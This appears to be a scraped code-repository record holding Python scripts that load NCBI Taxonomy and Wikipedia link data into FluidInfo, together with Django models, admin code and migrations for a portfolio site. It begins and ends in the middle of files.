collections.deque(maxlen=5)\n message_list = []\n # 文件夹名不能含有 /\\?|*<>:\" \n rejected_chars = r'[:/|><?.*\\\\\"]'\n message_id = 1\n current_date = str(datetime.date.today())\n text_content = None\n itchat.auto_login(hotReload=True)\n friend_list = itchat.get_friends(update=True)\n friend_list = {friend['UserName']:len(friend['RemarkName']) and friend['RemarkName'] or friend['NickName'] for friend in friend_list}\n chatroom_list = itchat.get_chatrooms(update=True)\n# chatroom_list = {chatroom['UserName']:len(chatroom['RemarkName']) and chatroom['RemarkName'] or chatroom['NickName'] for chatroom in chatroom_list}\n itchat.run()\n" } ]
1
axeloide/fiTaxonomy
https://github.com/axeloide/fiTaxonomy
1a3efc40dc34ae661ead54b1425e98cee4c6ffa4
f36a16005ce30176991a3a016d43be95bec5dda0
0c166510ec8e0c1ca9c27b4990d53dc8f378060c
refs/heads/master
2021-01-22T09:09:20.486063
2011-12-06T13:51:42
2011-12-06T13:51:42
2,910,031
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6094728112220764, "alphanum_fraction": 0.6209225654602051, "avg_line_length": 40.14915084838867, "blob_id": "8fe97ee7b707fe8acd87656cd2d54742789658a2", "content_id": "52ec9a50cc5be04776de0604448af027a5749732", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12140, "license_type": "no_license", "max_line_length": 145, "num_lines": 295, "path": "/PopulateTaxa.py", "repo_name": "axeloide/fiTaxonomy", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nIterates over the taxa listed in the NCBI Taxonomy database and creates\ncorresponding FluidInfo objects with the most relevant tags.\n\nUses the NCBI E-Utilities Esearch and Efetch:\n* http://www.ncbi.nlm.nih.gov/books/NBK25499/#chapter4.ESearch\n* http://www.ncbi.nlm.nih.gov/books/NBK25499/#chapter4.EFetch\n\nThis is kind of the core tool, since other scripts will later iterate over\nthose FluidInfo objects to perform other tasks.\n\nFor testing purposes, the list of imported taxa was first limited to just a few:\n* TaxId: 9913 as about: bos taurus with uid: 82b383ce-e42e-4d79-be6d-10d5283c5443\n* TaxId: 9606 as about: homo sapiens with uid: a1d5b1d2-8eef-450c-b772-b8e28ab58184\n\nCurrently it processes all the species of division primates, whose scientific names don't contain any digits.\n\n\"\"\"\n\n\nimport sys\nimport os.path\nimport urllib\nimport urllib2\n\ntry:\n from xml.etree import cElementTree as ElementTree\nexcept ImportError, e:\n from xml.etree import ElementTree\n \nfrom fom.session import Fluid\nfrom fom.mapping import Namespace\n \n\nurlEutils = \"http://eutils.ncbi.nlm.nih.gov/entrez/eutils/\"\nurlEsearch = urlEutils + \"esearch.fcgi\"\nurlEfetch = urlEutils + \"efetch.fcgi\"\n\ndef GetTaxonData(lTaxIds):\n \"\"\"\n Given a list of NCBI-Taxonomy-IDs, it uses Efetch to get\n their Taxon data in a single request.\n \n Returns a list of ElementTrees, each rooted at the <Taxon> tag.\n \n Documentation of Efetch:\n http://www.ncbi.nlm.nih.gov/books/NBK25499/#chapter4.EFetch\n \n See example XML data at: \n eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=taxonomy&id=9913,9606&mode=xml\n \"\"\"\n # Request NCBI taxon data for the given ID list\n data = urllib.urlencode({ 'db' : 'taxonomy'\n ,'mode' : 'xml'\n ,'id' : ','.join([str(iTax) for iTax in lTaxIds]) })\n # print data\n tree = ElementTree.parse(urllib2.urlopen(urlEfetch, data ))\n # tree.write(sys.stdout)\n # Beware to match only <Taxon> items at the\n # first level, but not the ones inside <LineageEx> !\n elTaxon = tree.findall('Taxon') \n assert(len(elTaxon) == len(lTaxIds))\n return elTaxon\n\n\n\nclass iterTaxa:\n \"\"\"Forward iterator for Taxonomy query results.\n \n Given a query-term, it allows to iterate one by one though the\n query-matches, returning those as ElementTrees containing all available NCBI-data for a Taxon.\n \n Takes care internally to request data in large chunks, instead of one by one.\n Only forward iterator.\n \n NCBI Esearch Documentation at:\n http://www.ncbi.nlm.nih.gov/books/NBK25499/#chapter4.ESearch\n\n @param term: Query term using Entrez syntax operating on NCBI-Taxonomy database.\n Examples:\n \"species[Rank] AND PRI[TXDV]\"\n \"species[Rank] AND (9913[UID] OR 9606[UID])\"\n \n Obtain full list of available field and index names, by querying Einfo:\n http://eutils.ncbi.nlm.nih.gov/entrez/eutils/einfo.fcgi?db=taxonomy \n \n Bloated documentation here:\n http://www.ncbi.nlm.nih.gov/books/NBK3837/#EntrezHelp.Indexed_Fields_Query_Translat\n \n @param chunksize: Number of results per API-query. Defaults to 20. Those are cached and iterated one by one\n \"\"\"\n def __init__(self, term, chunksize=20):\n self.term = term\n self.chunksize = chunksize\n self.start = 0\n self.count = 0\n self.cache = []\n \n def GetNextChunk(self):\n \"\"\"\n Get the chunk of results that starts at retstart=self.start\n \"\"\"\n data = urllib.urlencode({ 'db' : 'taxonomy'\n ,'term' : self.term\n ,'retstart': self.start\n ,'retmax' : self.chunksize })\n #print \"Debug: \", data\n tree = ElementTree.parse(urllib2.urlopen(urlEsearch, data ))\n #tree.write(sys.stdout)\n \n # Extract the TaxId values\n lTaxIds = [int(id.text) for id in tree.findall(\"IdList/Id\")]\n # If we got any TaxIds, then we'll Efetch the corresponding Taxon data\n # in a chunk as big as the one returned by Esearch.\n if len(lTaxIds):\n self.cache = GetTaxonData(lTaxIds)\n self.count = int(tree.find(\"Count\").text)\n \n \n def GetNext(self):\n \"\"\"\n Get the next Taxon that matches the query.\n Returns None if there are no matches left.\n \"\"\"\n if (len(self.cache)==0):\n self.GetNextChunk()\n \n if (len(self.cache)):\n self.start += 1\n return self.cache.pop(0)\n else:\n return None\n \n def GetFirst(self):\n \"\"\"\n Get the first Taxon that matches the query.\n Returns None if query didn't match or succeed.\n \"\"\"\n self.start = 0\n del self.cache[:]\n return self.GetNext()\n\n\n\n \ndef ImportTaxonAttribute(dictTagging, xmlTaxonData, sAttrName, typecast=unicode, aslist=False, sTagName=None ):\n \"\"\"\n Does the actual transfer of values from the XML into FluidInfo tags.\n It actually doesn't tag yet, but it transfers the data into a dict(), which will later be used to do the taggin in a single API request.\n \n @note It prepends the tag-path in sUserNS to the tags to be imported. sUserNS is currently just the user-namespace.\n \n @param dictTagging: [out] The dict containing the tag paths and values that will later be committed into FluidInfo.\n It has the structure required by the \"PUT VALUES\" API of FluidInfo as documented here:\n http://api.fluidinfo.com/html/api.html#values_PUT\n Example:\n dict[<tagpath>]={u'value': <tagvalue>}\n\n @param xmlTaxonData: An ElementTree containing the <Taxon> XML branch sent by NCBI.\n See example XML: eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=taxonomy&id=9913&mode=xml\n\n @param sAttrName: String with XPath to the item that should be transferred. \n Root is at <Taxon>. \n e.g. To get the TaxId use sAttrName=\"TaxId\"\n \n @param typecast: Python data type for the XML string to be casted to.\n Defaults to unicode.\n e.g. typecast=int\n \n @param aslist: Boolean. \n If False (the default), then sAttrName should yield only a single XML item that will be treated as a scalar.\n If True, then all the items referred by sAttrName will be assembled into a list/set.\n\n @param sTagName: The FluidInfo tag path (relative to the prefix sUserNS).\n Defaults to the XPath given in sAttrName.\n \n \"\"\"\n \n elAttr = xmlTaxonData.findall(sAttrName)\n\n # Relative tag-path defaults to XPath\n if (sTagName is None):\n sTagName = sAttrName\n \n TagValue = None\n \n if aslist:\n TagValue = [typecast(item.text.strip()) for item in elAttr]\n if len(TagValue)==0:\n TagValue = None\n else:\n assert( len(elAttr)<2 )\n if len(elAttr)==1:\n TagValue = typecast(elAttr[0].text)\n \n # Do NOT tag if not XML-item was found!\n # We want to avoid empty-valued tags, since those would ruin FluidInfo queries with \"has\" operator.\n if TagValue is not None:\n # Generate the dict-in-dict structure required for the\n # \"values\" parameter of fdb.values.put():\n # dict[tagpath]={'values', tagvalue}\n dictTagging[sUserNS+u\"/taxonomy/ncbi/\"+sTagName] = {u'value': TagValue}\n \n \ndef containsAny(str, set):\n \"\"\"Check whether 'str' contains ANY of the chars in 'set'\"\"\"\n return 1 in [c in str for c in set]\n \ndef ImportTaxon(xmlTaxonData):\n \"\"\"\n Imports a \"NCBI Taxonomy\" record from a XML <Taxon> tree into FluidInfo.\n \n Warning: Heavy work in progress!\n \"\"\"\n\n assert( xmlTaxonData is not None)\n \n ScientificName = unicode(xmlTaxonData.find(\"ScientificName\").text)\n\n dictTagging = dict()\n \n # WARNING: For the time being, we'll discard any unusual taxa with digits in their scientific names.\n if containsAny(ScientificName, '0123456789:'):\n print \"Not importing weird taxon:\", ScientificName\n return\n\n # Assign about tag value. Lowercase!\n sAbout = ScientificName.lower()\n\n ImportTaxonAttribute(dictTagging, xmlTaxonData, \"ScientificName\", typecast=unicode)\n ImportTaxonAttribute(dictTagging, xmlTaxonData, \"TaxId\", typecast=int)\n ImportTaxonAttribute(dictTagging, xmlTaxonData, \"ParentTaxId\", typecast=int)\n ImportTaxonAttribute(dictTagging, xmlTaxonData, \"Rank\", typecast=unicode)\n ImportTaxonAttribute(dictTagging, xmlTaxonData, \"Division\", typecast=unicode)\n ImportTaxonAttribute(dictTagging, xmlTaxonData, \"OtherNames/GenbankCommonName\", typecast=unicode, sTagName=u\"GenbankCommonName\")\n \n ImportTaxonAttribute(dictTagging, xmlTaxonData, \"OtherNames/Synonym\", typecast=unicode, aslist=True, sTagName=u\"Synonyms\")\n ImportTaxonAttribute(dictTagging, xmlTaxonData, \"OtherNames/CommonName\", typecast=unicode, aslist=True, sTagName=u\"CommonNames\")\n \n ImportTaxonAttribute(dictTagging, xmlTaxonData, \"LineageEx/Taxon/ScientificName\", typecast=unicode, aslist=True, sTagName=u\"Lineage\")\n # NOTE: FluidInfo only implements \"sets of strings\", there's not support for \"sets of integers\"!\n # Therefore we have to import the following as unicode!\n ImportTaxonAttribute(dictTagging, xmlTaxonData, \"LineageEx/Taxon/TaxId\", typecast=unicode, aslist=True, sTagName=u\"LineageIds\")\n \n \n\n ##################################\n # Create and do all the tagging in\n # a single call to the FluidInfo-API!\n fdb.values.put( query='fluiddb/about = \"'+sAbout+'\"',values=dictTagging)\n \n print \"Imported TaxId:\", dictTagging[sUserNS+u'/taxonomy/ncbi/TaxId'][u'value'], \" as about:\",sAbout # , \" with uid:\", oTaxon.uid\n\n \n\n\n \nif __name__ == \"__main__\":\n\n #############################\n # Bind to FluidInfo instance\n fileCredentials = open(os.path.expanduser('~/.fluidDBcredentials'), 'r')\n username = fileCredentials.readline().strip()\n password = fileCredentials.readline().strip()\n fileCredentials.close()\n # fdb = Fluid('https://sandbox.fluidinfo.com') # The sandbox instance\n fdb = Fluid() # The main instance\n fdb.login(username, password)\n fdb.bind()\n nsUser = Namespace(username)\n \n sUserNS = nsUser.path # Ugly use of a global, I know. :-)\n\n # We aren't ready yet to import all the 800k+ taxons of the NCBI database, so meanwhile\n # we use additonal query criteria to limit the result to just a few items!!\n\n # Import all primate species:\n itSpecies = iterTaxa(term=\"species[Rank] AND PRI[TXDV]\", chunksize=100)\n\n # Import just two species: Bos taurus, Homo sapiens\n # itSpecies = iterEsearch(\"species[Rank] AND (9913[UID] OR 9606[UID])\")\n\n\n xmlTaxonData = itSpecies.GetFirst()\n print \"Total number of results: \", itSpecies.count\n\n while xmlTaxonData is not None:\n ImportTaxon(xmlTaxonData)\n xmlTaxonData = itSpecies.GetNext()\n \n \n # Put some usefull info on the description-tag of the namespace objects.\n Namespace(sUserNS+u'/taxonomy')._set_description( u'Data imported by the fiTaxonomy scripts found at https://github.com/axeloide/fiTaxonomy')\n Namespace(sUserNS+u'/taxonomy/ncbi')._set_description( u'Data extracted from the \"NCBI Taxonomy\" database.')\n\n" }, { "alpha_fraction": 0.6069797873497009, "alphanum_fraction": 0.6124157309532166, "avg_line_length": 43.33333206176758, "blob_id": "a22b7ae33b6d04fbbeb1503af2be8a89b9768d09", "content_id": "edfc8ea3102a5a74bee0e70a0a2db8b57acac99d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9198, "license_type": "no_license", "max_line_length": 141, "num_lines": 207, "path": "/PopulateLinkOut.py", "repo_name": "axeloide/fiTaxonomy", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nPopulateLinkOut.py\n\nIterates over all FluidInfo objects with a ./taxonomy/ncbi/TaxId tag and\nuses the NCBI E-Utility Elink to recreate a web of references to related\nobjects/datasources in FluidInfo, creating and populating those where necessary.\n\nhttp://www.ncbi.nlm.nih.gov/books/NBK25499/#chapter4.ELink\n\nSome pointers:\n # TODO: Query for LinkOut data and add info to objects\n # Most wanted are Wikipedia ArticleIDs provided by iPhylo:\n # http://eutils.ncbi.nlm.nih.gov/entrez/eutils/elink.fcgi?dbfrom=taxonomy&id=9606&cmd=llinks&holding=iPhylo\n # Beware that there are several LinkOut items provided by iPhylo!! We want those containing:\n # <LinkName>Wikipedia</LinkName>\n # Translate ArticleId into Wikipedia Title with:\n # http://en.wikipedia.org/w/api.php?action=query&pageids=682482&format=xml\n # more info on http://www.mediawiki.org/wiki/API\n\n\n\"\"\"\n\n\nimport sys\nimport os.path\nimport urllib\nimport urllib2\n\ntry:\n from xml.etree import cElementTree as ElementTree\nexcept ImportError, e:\n from xml.etree import ElementTree\n \nfrom fom.session import Fluid\nfrom fom.mapping import Object, Namespace, tag_value\nfrom fom.errors import Fluid412Error\n \n\nurlEutils = \"http://eutils.ncbi.nlm.nih.gov/entrez/eutils/\"\nurlElink = urlEutils + \"elink.fcgi\"\n\nurlWikipediaApi=\"http://en.wikipedia.org/w/api.php\"\n\n\ndef GetLinkOutData(idTax):\n \"\"\"\n Uses Elink to get the LinkOut data for a given NCBI-Taxonomy-ID:\n Returns an ElementTree with root at the <IdUrlSet> tag.\n \n http://www.ncbi.nlm.nih.gov/books/NBK25499/#chapter4.ELink\n \n See example XML data at: \n http://eutils.ncbi.nlm.nih.gov/entrez/eutils/elink.fcgi?dbfrom=taxonomy&id=9482&cmd=llinks\n \"\"\"\n # Request NCBI taxon data for the given ID\n data = urllib.urlencode({ 'dbfrom' : 'taxonomy'\n ,'cmd' : 'llinks'\n ,'id' : idTax\n ,'holding' : 'iPhylo' }) # WARNING: We are currently limiting this to just one provider, for testing purposes!\n # print data\n tree = ElementTree.parse(urllib2.urlopen(urlElink, data ))\n # tree.write(sys.stdout)\n eUrlSet = tree.find(u'LinkSet/IdUrlList/IdUrlSet')\n assert(eUrlSet is not None)\n return eUrlSet\n \ndef LookupWikipediaTitle(iArticleId):\n \"\"\"\n Convert Page-ID into article title.\n Done as explained here:\n http://blog.dataunbound.com/2009/04/10/pageidcurid-as-a-unique-id-for-wikipedia-pages/\n \n See also:\n http://stackoverflow.com/questions/6168020/what-is-wikipedia-pageid-how-to-change-it-into-real-page-url\n \"\"\"\n data = urllib.urlencode({ 'action' : 'query'\n ,'format' : 'xml'\n ,'pageids': iArticleId })\n # print data\n tree = ElementTree.parse(urllib2.urlopen(urlWikipediaApi, data ))\n # tree.write(sys.stdout)\n ePage = tree.find(u'query/pages/page')\n return ePage.attrib['title']\n\ndef HandleIPhyloLinks(oTaxon, elObjUrl):\n \"\"\"\n \"\"\"\n ###############################################\n # Check existance of Wikipedia LinkOut entry \n # Provider is iPhylo, but it also provides links to \"BBC Wildlife Finder\"\n # WARNING: iPhylo links to the ArticleId on Wikipedia, so we have to do an\n # additional lookup to convert it to the article title, as used in FluidInfo about tags.\n # XPath support on ElementTree is very limited, so we have to iterate over \n # all items, to find the matching ones.\n for eObjUrl in elObjUrl:\n if (eObjUrl.find(\"Provider/Name\").text == 'iPhylo'):\n if (eObjUrl.find(\"LinkName\").text == 'Wikipedia'):\n # Extract the Wikipedia PageId/ArticleId from the url\n # TODO: The following line is so ugly!\n sWikiRawUrl = eObjUrl.find(\"Url\").text\n iWikiPageId = int(sWikiRawUrl.split(u'=')[1])\n sWikiTitle = LookupWikipediaTitle(iWikiPageId)\n print \"Jay! Found a Wikipedia link to ArticleID:\",iWikiPageId,\" with title:\",sWikiTitle\n oTaxon.set(sNcbiNS + u'/LinkOut/wikipedia', sWikiRawUrl)\n # Sometimes the iPhylo-linked Wikipedia Title doesn't match this Taxon's about value,\n # in such cases we add a \"related-wikipedia\" tag pointing to the iPhylo Wikipedia article.\n # Example: Taxon('homo sapiens') is linked by iPhylo to Wikipedia('Human')\n if (sWikiTitle.lower() != oTaxon.about):\n oTaxon.set(sNcbiNS + u'/LinkOut/related-wikipedia', sWikiTitle.lower())\n oWP = WikipediaPage(about=sWikiTitle.lower())\n oWP.RelatedTaxon = oTaxon.about\n oWP.PageId = iWikiPageId\n oWP.save()\n\n elif (eObjUrl.find(\"LinkName\").text == 'BBC Wildlife Finder'):\n sBbcUrl = eObjUrl.find(\"Url\").text\n # TODO: The following line is so ugly!\n sBbcTitle = sBbcUrl.split(u'/')[-1]\n print \"Jay! Found a BBC link:\", sBbcUrl,\" with title:\",sBbcTitle\n oTaxon.set(sNcbiNS + u'/LinkOut/bbcwildlife', sBbcUrl)\n # Sometimes the iPhylo-linked BBC Title doesn't match this Taxon's about value,\n # in such cases we add a \"related-bbcwildlife\" tag pointing to the iPhylo BBC article.\n # Example: Taxon('homo sapiens') is linked by iPhylo to BBC('Human')\n if (sBbcTitle.lower() != oTaxon.about):\n oTaxon.set(sNcbiNS + u'/LinkOut/related-bbcwildlife', sBbcTitle.lower())\n oBP = BbcPage(about=sBbcTitle.lower())\n oBP.RelatedTaxon = oTaxon.about\n oBP.Url = sBbcUrl\n oBP.save()\n \n\n\nif __name__ == \"__main__\":\n\n #############################\n # Bind to FluidInfo instance\n fileCredentials = open(os.path.expanduser('~/.fluidDBcredentials'), 'r')\n username = fileCredentials.readline().strip()\n password = fileCredentials.readline().strip()\n fileCredentials.close()\n # fdb = Fluid('https://sandbox.fluidinfo.com') # The sandbox instance\n fdb = Fluid() # The main instance\n fdb.login(username, password)\n fdb.bind()\n nsRoot = Namespace(username)\n \n sUserNS = nsRoot.path \n sNcbiNS = sUserNS + u'/taxonomy/ncbi' # Ugly use of globals, I know. :-)\n \n ###################################\n # Define FOM-Object classes as a\n # more readable way to access tag-values\n # Defined here, since they depends on sNcbiNS being defined!\n ##\n # Ncbi-Taxon\n class NcbiTaxon(Object):\n TaxId = tag_value(sNcbiNS + u'/TaxId')\n ScientificName = tag_value(sNcbiNS + u'/ScientificName')\n # Wikipedia-Page\n class WikipediaPage(Object):\n RelatedTaxon = tag_value(sNcbiNS + u'/LinkOut/related-NcbiTaxon')\n PageId = tag_value(sUserNS + u'/wikipedia/pageid')\n # BBC-Page\n class BbcPage(Object):\n RelatedTaxon = tag_value(sNcbiNS + u'/LinkOut/related-NcbiTaxon')\n Url = tag_value(sUserNS + u'/bbcwildlife/url')\n ##\n # LinkOut-Provider\n class LinkOutProvider(Object):\n Id = tag_value(sNcbiNS + u'/LinkOut/Provider/Id')\n Name = tag_value(sNcbiNS + u'/LinkOut/Provider/Name')\n NameAbbr = tag_value(sNcbiNS + u'/LinkOut/Provider/NameAbbr')\n Url = tag_value(sNcbiNS + u'/LinkOut/Provider/Url')\n \n ##########################################\n # Query NCBI-Taxonomy objects in FluidInfo\n\n oTaxa = NcbiTaxon.filter(u'has '+ NcbiTaxon.__dict__['TaxId'].tagpath)\n \n print \"Found\", len(oTaxa), \"objects with a\", NcbiTaxon.__dict__['TaxId'].tagpath, \"tag:\"\n for oTaxon in oTaxa:\n print \"Taxon:\", oTaxon.about\n # Get LinkOut items. WARNING: Currently limited to iPhylo provider, for testing purposes.\n elObjUrl = GetLinkOutData(oTaxon.TaxId).findall('ObjUrl')\n print oTaxon.TaxId, \"has\", len(elObjUrl), \"LinkOut entries.\"\n \n HandleIPhyloLinks(oTaxon, elObjUrl)\n \n\n \n# for eObjUrl in elObjUrl:\n# \n# ##########################################\n# # Create FluidInfoObject for the provider\n# # using full provider name as about tag value\n# oProv = LinkOutProvider(about=eObjUrl.find('Provider/Name').text.lower())\n# oProv.Id = int(eObjUrl.find('Provider/Id').text)\n# oProv.Name = unicode(eObjUrl.find('Provider/Name').text)\n# oProv.NameAbbr = unicode(eObjUrl.find('Provider/NameAbbr').text)\n# oProv.Url = unicode(eObjUrl.find('Provider/Url').text)\n# oProv.save()\n# print \"Created/updated LinkOut provider data on about:\",oProv.about,\" with uid:\", oProv.uid\n# \n# # Put some usefull info on the description-tag of the namespace objects.\n# Namespace(sUserNS+u'/taxonomy/ncbi/LinkOut')._set_description( u'NCBI LinkOut data.')\n# Namespace(sUserNS+u'/taxonomy/ncbi/LinkOut/Provider')._set_description( u'LinkOut Provider data')\n \n \n \n \n\n" }, { "alpha_fraction": 0.7096773982048035, "alphanum_fraction": 0.7341935634613037, "avg_line_length": 34.609195709228516, "blob_id": "d6aa75253b7421ce047f15b4c2cd6597d57f2e46", "content_id": "c043beef114e9b11e4237ceeddb5a86af918101c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 3100, "license_type": "no_license", "max_line_length": 120, "num_lines": 87, "path": "/README.txt", "repo_name": "axeloide/fiTaxonomy", "src_encoding": "UTF-8", "text": "fiTaxonomy\n==========\nTools to populate FluidInfo with taxonomy data.\n\n\nA testbench for @axeloide's thoughts about leveraging FluidInfo to get difficult data into a more usable representation.\n\n\n\nPopulateTaxa.py\n---------------\nIterates over the taxa listed in the NCBI Taxonomy database and creates\ncorresponding FluidInfo objects with the most relevant tags.\n\nUses the NCBI E-Utilities Esearch and Efetch:\n* http://www.ncbi.nlm.nih.gov/books/NBK25499/#chapter4.ESearch\n* http://www.ncbi.nlm.nih.gov/books/NBK25499/#chapter4.EFetch\n\nThis is kind of the core tool, since other scripts will later iterate over\nthose FluidInfo objects to perform other tasks.\n\nFor testing purposes, the list of imported taxa was first limited to just a few:\n* TaxId: 9913 as about: bos taurus with uid: 82b383ce-e42e-4d79-be6d-10d5283c5443\n* TaxId: 9606 as about: homo sapiens with uid: a1d5b1d2-8eef-450c-b772-b8e28ab58184\n\nCurrently it processes all the species of division primates, without digits in their scientific names.\n\n\nPopulateLinkOut.py\n------------------\nIterates over all FluidInfo objects with a ./taxonomy/ncbi/TaxId tag and\nuses the NCBI E-Utility Elink to recreate a web of references to related\nobjects/datasources in FluidInfo, creating and populating those where necessary.\n\nhttp://www.ncbi.nlm.nih.gov/books/NBK25499/#chapter4.ELink\n\n\n\nToDo\n---- \n* Error checking, error checking, error checking!\n Everything is currently coded in a \"blindly optimistic\" way.\n A HowTo on error checking urllib2 calls:\n + http://docs.python.org/howto/urllib2.html\n \n* Include a timestamp tag like \"./taxonomy/ncbi/timestamp-lastupdate\"\n\n\nIdeas for future tools\n----------------------\n* Create objects with about names that are:\n + NCBI synonyms\n + genebank common names\n * etc...\n and tag them with something like \"axeloide/taxonomy/redirect-to\" \n We can even be very creative and harvest other language's common names via Wikipedia.\n \n \n* Create objects with about names that are:\n + Names of taxons in other languages. e.g. \"perro\", \"dog\", \"hund\"\n \n ... and then tag those with a \"related-taxonomy\" that links those to the\n actual taxonomy object. e.g. about=\"canis lupus\"\n \n Use same conventions and link to objects generated by the fiLang scripts!!\n \n Use Wikipedia API to get foreign articles:\n + http://www.mediawiki.org/wiki/API:Query_-_Properties#langlinks_.2F_ll\n Examples:\n For a given article, get alternative languages:\n http://en.wikipedia.org/w/api.php?action=query&titles=Dog&prop=langlinks&lllimit=200&format=xml\n \n Get a list of all language-ids and autoglossonyms:\n http://en.wikipedia.org/w/api.php?action=query&meta=siteinfo&siprop=languages\n \n \n\n\nPointers to stuff\n-----------------\n\nThere seems to exist a tool that returns JSON formatted results, but it requires\nan API key that must be requested, as documented here:\n http://entrezajax.appspot.com/developer.html\n \nThe corresponding uri would be:\nhttp://entrezajax.appspot.com/elink?dbfrom=taxonomy&id=9482&cmd=llinks&apikey=<A registered API key>\n\n\n" } ]
3
AlexVoitenko/myportfolio
https://github.com/AlexVoitenko/myportfolio
c885b69ef4f21856bf82475da54f108ee895d1aa
63bc7a1273193bb657e2c30f4c58bc844fee2450
293dc4eb58fd34919867fc60edbc55574fd28339
refs/heads/master
2015-09-26T10:25:35.708931
2015-09-20T15:37:28
2015-09-20T15:37:28
42,817,625
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7779922485351562, "alphanum_fraction": 0.7799227833747864, "avg_line_length": 20.58333396911621, "blob_id": "d7d5284fc711059e84000005d65ec6c4a21cb097", "content_id": "c28f74cbf7ca86126cf189c84d85872b944d09a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 518, "license_type": "no_license", "max_line_length": 59, "num_lines": 24, "path": "/article/admin.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "# encoding:utf-8\n\nfrom django.contrib import admin\nfrom .models import Article, Tag, Post, LearnCategory, Note\nfrom .forms import ArticleForm, PostForm, NoteForm\n\n\nclass ArticleAdmin(admin.ModelAdmin):\n form = ArticleForm\n\n\nclass PostAdmin(admin.ModelAdmin):\n form = PostForm\n\n\nclass NoteAdmin(admin.ModelAdmin):\n form = NoteForm\n\n\nadmin.site.register(Post, PostAdmin)\nadmin.site.register(Tag)\nadmin.site.register(Article, ArticleAdmin)\nadmin.site.register(LearnCategory)\nadmin.site.register(Note, NoteAdmin)\n" }, { "alpha_fraction": 0.5687830448150635, "alphanum_fraction": 0.5753968358039856, "avg_line_length": 30.5, "blob_id": "1a902c650cc6cc36e37e2c87f63dba006911927e", "content_id": "53ae60c3f0d48e89ab71ae1bd4eea4c98ed92512", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 756, "license_type": "no_license", "max_line_length": 148, "num_lines": 24, "path": "/article/migrations/0005_note.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('article', '0004_learncategory'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Note',\n fields=[\n ('article_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='article.Article')),\n ('description', models.TextField()),\n ('pub_date', models.DateTimeField(auto_now=True)),\n ('category', models.ForeignKey(related_name='notes', to='article.LearnCategory')),\n ],\n bases=('article.article',),\n ),\n ]\n" }, { "alpha_fraction": 0.49735915660858154, "alphanum_fraction": 0.5330105423927307, "avg_line_length": 39.57143020629883, "blob_id": "be5a83e5a09ed5cb86f9411777b9f76919a84bd9", "content_id": "07f00af6e120f1e25cf0aa5c3d9c6dd239f2f892", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2272, "license_type": "no_license", "max_line_length": 148, "num_lines": 56, "path": "/article/migrations/0001_initial.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport colorful.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Article',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=200)),\n ('body', models.TextField()),\n ],\n options={\n 'db_table': 'articles',\n 'verbose_name': '\\u0441\\u0442\\u0430\\u0442\\u044f',\n 'verbose_name_plural': '\\u0441\\u0442\\u0430\\u0442\\u0456',\n },\n ),\n migrations.CreateModel(\n name='Tag',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=70)),\n ('icon', models.ImageField(upload_to=b'tags')),\n ('description', models.TextField()),\n ('main_color', colorful.fields.RGBColorField(blank=True)),\n ('second_color', colorful.fields.RGBColorField(blank=True)),\n ],\n ),\n migrations.CreateModel(\n name='Post',\n fields=[\n ('article_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='article.Article')),\n ('title_image', models.ImageField(max_length=200, null=True, upload_to=b'titles', blank=True)),\n ('pub_date', models.DateTimeField(auto_now=True)),\n ('is_translation', models.BooleanField(default=False)),\n ('source', models.URLField(null=True, blank=True)),\n ('views', models.IntegerField(default=0)),\n ('tags', models.ManyToManyField(to='article.Tag', blank=True)),\n ],\n options={\n 'db_table': 'post',\n 'verbose_name': '\\u043f\\u043e\\u0441\\u0442',\n 'verbose_name_plural': '\\u043f\\u043e\\u0441\\u0442\\u0438',\n },\n bases=('article.article',),\n ),\n ]\n" }, { "alpha_fraction": 0.46426230669021606, "alphanum_fraction": 0.47606557607650757, "avg_line_length": 28.326923370361328, "blob_id": "ed19361e026b3d3201d9cfb55a2867a939ce469d", "content_id": "9912a15193ddfefa417479777ddd799209922f50", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1525, "license_type": "no_license", "max_line_length": 114, "num_lines": 52, "path": "/article/templates/article/note_detail.html", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "{% extends 'base.html' %}\n{% load staticfiles %}\n\n{% block title %}{{ title }}{% endblock %}\n{% block jsheader %}\n <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js\"></script>\n <script src=\"{% static 'animate/js/jquery.animsition.min.js' %}\"></script>\n <script src=\"{% static 'js/animate.js'%}\"></script>\n{% endblock %}\n\n{% block top %}\n\n <div class=\"container\">\n <div class=\"row\">\n <div class=\"col-sm-offset-1 col-md-offset-2 col-sm-10 col-md-8\">\n\n <div class=\"top-image\">\n <a href=\"{% url 'post:learning_list' %}\">\n <img src=\"{% static 'img/learn.png' %}\"/>\n </a>\n </div>\n\n <div class=\"learn-top-text\">Learn</div>\n <div 